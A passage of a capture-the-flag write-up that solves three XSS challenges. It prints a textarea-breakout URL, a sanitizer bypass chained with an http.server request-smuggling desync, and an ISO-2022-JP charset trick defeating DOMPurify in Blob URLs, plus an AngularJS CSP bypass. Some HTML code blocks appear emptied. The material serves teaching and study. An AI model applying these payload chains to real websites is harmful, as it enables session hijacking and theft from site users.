browser it will close the `textarea` context right there. And rest of the part is no longer inside `textarea` so it gets render now as HTML. Thus giving us an xss vector `` 57 | 58 | https://challenge-hamayan.quiz.flatt.training/?message=%3Ca%20id=%22%3C/textarea%3E%3Cimg%20src=x%20onerror=alert()%3E%22%3E 59 | ![image](https://github.com/user-attachments/assets/0d44738c-eeb3-42e9-ab26-fb970df57120) 60 | 61 | --------------- 62 | 63 | # Challenge 2 by @ryotkak 64 | 65 | A very interesting challenge indeed 66 | 67 | http://34.171.202.118/ 68 | 69 | This application allows you to create drafts, but no html is allowed. On the server side it html encodes the input. Although the html encoded input goes through a custom xss sanitizer on the client side and then used in `innerHTML` but it passes html encoded version `< >` it looks useless so it suggest that there might be another vuln: 70 | 71 | ![image](https://github.com/user-attachments/assets/ca96cba1-4baf-4f76-bac1-96eff6121259) 72 | 73 | When we create a draft, it provides us with an id in the url like this http://34.171.202.118/?draft_id=fbca1697-5c42-41a9-abdc-3628bdb5f054 when this page is load the following things happen in the background 74 | 75 | ```js 76 | window.onload = async function () { 77 | const params = new URLSearchParams(window.location.search); 78 | if (params.has('draft_id')) { 79 | const resp = await fetch(`/api/drafts?id=${encodeURIComponent(params.get('draft_id'))}`); 80 | const content = await resp.text(); 81 | document.getElementById('input').value = content.slice(0, 100); 82 | previewContent(); 83 | } 84 | } 85 | ``` 86 | 87 | It takes the `draft_id` parameter value and use it in a fetch call to the `/api/drafts?id=` endpoint. The value of the id is url encoded. The response from this endpoint is then passed to a custom sanitizer, the sanitized output is then passed to the sink `innerHTML` 88 | 89 | ```js 90 | function previewContent() { 91 | const input = document.getElementById('input').value; 92 | document.getElementById('preview').innerHTML = sanitizeHtml(input); // just in case 93 | } 94 | ``` 95 | 96 | The response return from the `/api/drafts?id=` is going to be html encoded so it's clear that the goal of this challenge is to find a way to make the `/api/drafts?id=` endpoint return our payload which is not html encoded and find a bypass for the Sanitizer then. 97 | 98 | To get a start let's try to find a bypass for the sanitizer first, it's not dompurify so it shouldn't give much trouble to us: 99 | 100 | ```js 101 | const SANITIZER_CONFIG = { 102 | DANGEROUS_TAGS: [ 103 | 'script', 104 | 'iframe', 105 | 'style', 106 | 'object', 107 | 'embed', 108 | 'meta', 109 | 'link', 110 | 'base', 111 | 'frame', 112 | 'frameset', 113 | 'svg', 114 | 'math', 115 | 'template', 116 | ], 117 | 118 | ALLOW_ATTRIBUTES: false 119 | } 120 | 121 | function sanitizeHtml(html) { 122 | const doc = new DOMParser().parseFromString(html, "text/html"); 123 | const nodeIterator = doc.createNodeIterator(doc, NodeFilter.SHOW_ELEMENT); 124 | 125 | while (nodeIterator.nextNode()) { 126 | const currentNode = nodeIterator.referenceNode; 127 | if (typeof currentNode.nodeName !== "string" || !(currentNode.attributes instanceof NamedNodeMap) || typeof currentNode.remove !== "function" || typeof currentNode.removeAttribute !== "function") { 128 | console.warn("DOM Clobbering detected!"); 129 | return ""; 130 | } 131 | if (SANITIZER_CONFIG.DANGEROUS_TAGS.includes(currentNode.nodeName.toLowerCase())) { 132 | currentNode.remove(); 133 | } else if (!SANITIZER_CONFIG.ALLOW_ATTRIBUTES && currentNode.attributes) { 134 | for (const attribute of currentNode.attributes) { 135 | currentNode.removeAttribute(attribute.name); 136 | } 137 | } 138 | } 139 | 140 | return doc.body.innerHTML; 141 | } 142 | ``` 143 | 144 | From the `SANITIZER_CONFIG` you can see, it has list of elements which it regards as dangerous and `ALLOW_ATTRIBUTES` key is set to false which might indicate that we can't have any attributes and the elements listed in the `DANGEROUS_TAGS` in our html. 145 | 146 | The dirty string passed to `sanitizeHtml` , is first used to create a DOM Tree using the `DOMParser` and then it iterates over each node , first checks for the nodeName property which basically returns element name and checks if it's in the `DANGEROUS_TAGS` array or not if it's there it removes the node completely (means it's child will also be removed) 147 | The second check is for the attributes , as `ALLOW_ATTRIBUTES` is set to false it should remove all the attributes. 148 | 149 | This the minimal structure of how a sanitizer is actually implemented, if you look at DOMPurify inner working it also creates a DOM Tree first then iterates and remove the dangerous stuffs. 150 | 151 | In the `DANGEROUS_TAGS` list I saw that `textarea` isn't there, so I thought that might be helpful. 152 | 153 | ```js 154 | sanitizeHtml(`">`) 155 | '"> 156 | ``` 157 | We can see with this vector , the `onerror` attribute remained there which was weird. As I assumed this would take care of all the attributes. I did setup breakpoint to understand where the magic happens but still couldn't get. It seems it just ignores iterating over that specific element. 158 | 159 | ```js 160 | for (const attribute of currentNode.attributes) { 161 | currentNode.removeAttribute(attribute.name); 162 | } 163 | ``` 164 | 165 | So this was the payload which I thought was intented, required user interaction but ok atleast we have something : 166 | 167 | ```html 168 | shirley"> 169 | ``` 170 | 171 | 172 | Moving on the server side code 173 | 174 | ```python 175 | class RequestHandler(BaseHTTPRequestHandler): 176 | protocol_version = 'HTTP/1.1' 177 | content_type_text = 'text/plain; charset=utf-8' 178 | content_type_html = 'text/html; charset=utf-8' 179 | 180 | def do_GET(self): 181 | parsed_path = urlparse.urlparse(self.path) 182 | path = parsed_path.path 183 | query = urlparse.parse_qs(parsed_path.query) 184 | if path == "/": 185 | self.send_response(200) 186 | self.send_header('Cache-Control', 'max-age=3600') 187 | self.send_data(self.content_type_html, bytes(index_html, 'utf-8')) 188 | elif path == "/api/drafts": 189 | draft_id = query.get('id', [''])[0] 190 | if draft_id in drafts: 191 | escaped = html.escape(drafts[draft_id]) 192 | self.send_response(200) 193 | self.send_data(self.content_type_text, bytes(escaped, 'utf-8')) 194 | else: 195 | self.send_response(200) 196 | self.send_data(self.content_type_text, b'') 197 | else: 198 | self.send_response(404) 199 | self.send_data(self.content_type_text, bytes('Path %s not found' % self.path, 'utf-8')) 200 | 201 | def do_POST(self): 202 | content_length = int(self.headers.get('Content-Length')) 203 | if content_length > 100: 204 | self.send_response(413) 205 | self.send_data(self.content_type_text, b'Post is too large') 206 | return 207 | body = self.rfile.read(content_length) 208 | draft_id = str(uuid4()) 209 | drafts[draft_id] = body.decode('utf-8') 210 | self.send_response(200) 211 | self.send_data(self.content_type_text, bytes(draft_id, 'utf-8')) 212 | 213 | def send_data(self, content_type, body): 214 | self.send_header('Content-Type', content_type) 215 | self.send_header('Connection', 'keep-alive') 216 | self.send_header('Content-Length', len(body)) 217 | self.end_headers() 218 | self.wfile.write(body) 219 | ``` 220 | 221 | 222 | 223 | The routing for 404 pages looked interesting as it was reflecting the path as it is without any sanitization even though the `Content-Type` for this endpoint is `text/plain` it can still be usefull if we can find a way to serve a 404 response instead for the original /api/drafts?id= request. 224 | 225 | The `Content-Length` request header check looked kinda sus , when we are dealing Python the first thing which comes into my mind is Desync attacks (thanks to @kevin_mizu for his work on this area ) 226 | 227 | 228 | This challenge turned out to be a very similar one as this https://mizu.re/post/twisty-python 229 | 230 | The problem , the application checks the `Content-Length` to make sure it's not more than 100. If it's more than 100 it sends a 413 status code and calls `send_data` method which sends back the response. But the connection is never close? 231 | 232 | From Mizu's blogpost *So, if the application doesn't read the body, and the connection isn't closed (keep-alive), by default http.server will ignore the Content-Length header and interpret the request body as part of the subsequent request.* 233 | 234 | Let's try the theory 235 | 236 | ```html 237 | 238 | 239 | 240 | 241 | 245 | ``` 246 | 247 | ![image](https://github.com/user-attachments/assets/b777c493-76c8-41e2-b7a2-a04f34d9142a) 248 | 249 | In the request logs on the server you can see , we have two requests. The second which is a GET request to the path `/shirley` is taken from the request body. So Indeed we can perform desync attack here. Interestingly by sending the same request two times (submit form twice), the second time the index page is loaded it will return the response of the request which was smuggled in the POST body. Thats why you see the `Path /shirley not found` reponse in the screenshot above 250 | 251 | Btw just an example this how the connection would be close, now if you use the same poc it doesn't shows only the POST request : 252 | 253 | ```python 254 | def do_POST(self): 255 | content_length = int(self.headers.get('Content-Length')) 256 | if content_length > 100: 257 | self.send_response(413) 258 | self.send_data(self.content_type_text, b'Post is too large') 259 | self.close_connection = True // I added this line 260 | return 261 | ``` 262 | 263 | The server allows us to send POST request to any path, so we can make a POST request to the http://34.171.202.118/api/drafts?id=ba6c79a8-aafb-458d-8ee9-108c11ae86d4 endpoint with the smuggled request in the body which should contain the xss payload. Now when the same form is submitted two times, the next time a request to the /api/drafts?id=ba6c79a8-aafb-458d-8ee9-108c11ae86d4 endpoint is made the response for this will be of the smuggled request which is nothing but the 404 page containing the xss payload. 264 | 265 | The below submits the form two times with some time delays, also we are targetting the form to be submitted inside the iframe to make sure everything is carried in the same tab because we want the requests to have the same Connection IDs 266 | 267 | ```html 268 | 269 |
270 | 271 |
272 | 273 | 280 | ``` 281 | 282 | After submitting the form two times which hopefully poisons the response for the /api/drafts?id=ba6c79a8-aafb-458d-8ee9-108c11ae86d4 endpoint. we redirect the frame to the /?draft_id=ba6c79a8-aafb-458d-8ee9-108c11ae86d4 endpoint where the js code will take the `draft_id` parameter id and make a fetch call to /api/drafts?id= endpoint which will return `Path /xss payload not found` as the response which is what passed to the sanitizer then to the innerHTML sink 283 | 284 | Later talking with my friend I got to know we can include more attributes to make it interaction afert that , I noticed that just this is enough to bypass the sanitizer 285 | 286 | ```js 287 | sanitizeHtml(``) 288 | '' 289 | ``` 290 | 291 | ![image](https://github.com/user-attachments/assets/569a7ea0-1974-4cab-b0be-96d806ae5f35) 292 | 293 | ------------------------------------- 294 | 295 | # Challenge 3 by @kinugawamasato 296 | 297 | Well at first , this challenge looked impossible no matter from what angle I look at it. I mean check the source everything looks really good, that's all the relevant code for this challenge. The Dompurify config ensures we can't use any attributes neither `data-*` nor `aria-*` which is then used to create a blob url and loaded inside an iframe?? 298 | 299 | ```js 300 | const sanitizedHtml = DOMPurify.sanitize(html, { ALLOWED_ATTR: [], ALLOW_ARIA_ATTR: false, ALLOW_DATA_ATTR: false }); 301 | const blob = new Blob([sanitizedHtml], { "type": "text/html" }); 302 | const blobURL = URL.createObjectURL(blob); 303 | input.value = sanitizedHtml; 304 | window.open(blobURL, "iframe"); 305 | ``` 306 | 307 | My friend told me if you look into what the author main area of work is you will soon realize what the challenge is about. 308 | I then looked at the server used to setup the challenge site, it was Python `http.server` nothing fancy, when I paid attention to the response header I noticed that it's `Content-Type: text/html` see no charset specified this was a good lead... because I knew from Masato's blogpost he has done a lot of work on Charset based xss in the past and also recently there was a blogpost related to this from SonarSource plus Mizu also posted a tweet about it. 309 | 310 | https://www.sonarsource.com/blog/encoding-differentials-why-charset-matters/ 311 | https://x.com/kevin_mizu/status/1812882499875319959 312 | 313 | ![image](https://github.com/user-attachments/assets/c0b654ba-7663-43aa-a20b-931d5b41c74b) 314 | 315 | 316 | Mizu's screenshot should be self explanatory, when there is no charset specified browser tries to be smart and it tries to guess the charset this is similar to the mime sniffing behaviour where browser tries to guess the Mime type in cases where no `Content-Type` header is specified at all. 317 | The SonarSource blogpost explain all this very well so I would recommend reading it if you haven't already 318 | 319 | ```html 320 | \x1b(B 321 | ``` 322 | 323 | `\x1b$B` , `\x1b(B` are both different escape sequences. You can look at the below diagram which is taken from the same SonarSource blogpost to understand what these escape sequences does 324 | 325 | ![image](https://github.com/user-attachments/assets/a5f30c3b-3c6d-4a1c-b2f6-1ad6e931b994) 326 | 327 | In simple terms , consider the sequence `\x1b$B` lets you escape the `"` context of the id attribute by ignoring the next `"` occurence and by using this `\x1b(B` escape sequence we make the rest of the part treated as ASCII ,so the browser sees the `img` element with `onerror` attribute and happily gives us xss. 328 | 329 | Coming back to our challenge, as in the Mizu's tweet we can see it easily allows you bypass Dompurify ,we hide the xss vectors inside attribute. 330 | Scrolling through Masato's old tweets my friend found this gold https://x.com/kinugawamasato/status/1309937578443849730?s=46&t=SSyMk5f3kBs791RxVEILAg 331 | ![image](https://github.com/user-attachments/assets/05f0a6bc-af1a-4b15-a74c-71111817d651) 332 | 333 | It's about a Charset XSS bug in Blob API due to the ignorance of the charset specified in the `type` key. This allowed Masato to do a similar xss as explained by Mizu and SonarSource. 334 | 335 | Here's poc fron the Chromium bug report: 336 | 337 | ```js 338 | var blob = new Blob([`aaa\u001B$@bbb`], { 339 | type: "text/html;charset=utf-8"//this charset should be used 340 | }); 341 | location=window.URL.createObjectURL(blob); 342 | ``` 343 | 344 | You can see using the `type` option, the charset is defined there. But seems Chromium was ignoring it which led to such bypass: 345 | 346 | ```html 347 | aaa\u001B$@bbb 348 | ``` 349 | 350 | Funny enough we came across `textarea` again in the 3rd challenge also, as already discussed content inside of textarea isn't rendered by the browser so normally the script element should not be rendered.But due charset problem, using the escape sequences in ISO-2022-JP encoding we can make it to ignore the starting `textarea` element thus the `script` element is no longer inside `textarea`. This will allow the script element to be rendered and an alert will popup. 351 | 352 | As the reported bug by Masato is fixed, Blob API now respects the charset specified in the `type` key. But still if you want to reproduce it you can omit the `charset` attribute and you can replicate the same which is expected to show weird behaviours as we are not specifying a charset: 353 | 354 | ```js 355 | var blob = new Blob([`aaa\u001B$@bbb`], { 356 | type: "text/html"//this charset is removed 357 | }); 358 | location=window.URL.createObjectURL(blob); 359 | ``` 360 | 361 | This is how the element gets rendered and we also get the alert popup 362 | 363 | ![image](https://github.com/user-attachments/assets/926ccbc0-49f7-455f-a56b-ed774143ff3e) 364 | 365 | This vector is special because it doesn't makes the use of any attributes which is what we need for our challenge and if you pay attention in challenge site there also the charset isn't specified for the Blob API 366 | 367 | ```js 368 | const sanitizedHtml = DOMPurify.sanitize(html, { ALLOWED_ATTR: [], ALLOW_ARIA_ATTR: false, ALLOW_DATA_ATTR: false }); 369 | const blob = new Blob([sanitizedHtml], { "type": "text/html" }); 370 | const blobURL = URL.createObjectURL(blob); 371 | input.value = sanitizedHtml; 372 | window.open(blobURL, "iframe"); 373 | ``` 374 | 375 | 376 | ![image](https://github.com/user-attachments/assets/90e38ac5-7726-49a0-bda5-17b8f816ca10) 377 | 378 | For style it's even more strict removes the whole node, similar behaviour we can see for other possible options xmp,plaintext,title,etc 379 | 380 | ![image](https://github.com/user-attachments/assets/722253fc-a959-4f01-bcd9-02a4963226f1) 381 | 382 | 383 | I was stuck here for a very long time and at one moment I randomly started playing with just `<`,`>` inside of `style` element. That's when I noticed that dompurify only removes the STYLE node upon encountering a closing or a starting element inside the STYLE contents. 384 | 385 | ![image](https://github.com/user-attachments/assets/70e4254c-0469-45b8-a88a-61215a91dfc6) 386 | 387 | Now all I needed to do was find a way to put something in place of the space after `<` which would remain as it is during Dompurify sanitization process but when rendered by the browser it gets ignored so that it becomes ` 454 | ``` 455 | 456 | And this worked, but now the only task left was to bypass CSP which was fairly easy, as cdnjs.cloudflare.com is in the allowlist we can load angular and bypass the csp completely. 457 | 458 | ``` 459 | default-src 'none';script-src 'sha256-EojffqsgrDqc3mLbzy899xGTZN4StqzlstcSYu24doI=' cdnjs.cloudflare.com; style-src 'unsafe-inline'; frame-src blob: 460 | ``` 461 | 462 | This was the final payload which I came up with: 463 | 464 | ```html 465 | aaa\x1B$@bbb 466 | ``` 467 | 468 | By opening this url you will get an alert on the challenge site ;) 469 | https://sudistark.github.io/window-name-redirect.html?name=iframe#aHR0cHM6Ly9jaGFsbGVuZ2Uta2ludWdhd2EucXVpei5mbGF0dC50cmFpbmluZy8/aHRtbD1hYWElMUIkQCUzQ3N0eWxlJTNFJTFCKEIlM0MlMUIoQnNjcmlwdCUyMHNyYz0lMjJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9hbmd1bGFyLmpzLzEuOC4wL2FuZ3VsYXIuanMlMjIlM0UlM0MlMUIoQi9zY3JpcHQlM0UlM0MlMUIoQmltZy9uZy1hcHAvbmctY3NwL3NyYy9uZy1vbi1lcnJvcj0kZXZlbnQudGFyZ2V0Lm93bmVyRG9jdW1lbnQuZGVmYXVsdFZpZXcuYWxlcnQoJGV2ZW50LnRhcmdldC5vd25lckRvY3VtZW50LmRlZmF1bHRWaWV3Lm9yaWdpbiklM0UlM0Mvc3R5bGUlM0ViYmI= 470 | 471 | ![image](https://github.com/user-attachments/assets/be4f06b7-b270-47e1-b463-ef57aaaabc6c) 472 | 473 | 474 | If you come this far reading this thankyou so much I hope you liked reading it and pardon if there are any mistakes lots of new stuff which I got to know during this timespan trying to solve this challenges only , thanks to Flatt Security for creating such awesome challenges I really learned a lot by trying to solve them. 475 | --------------------------------------------------------------------------------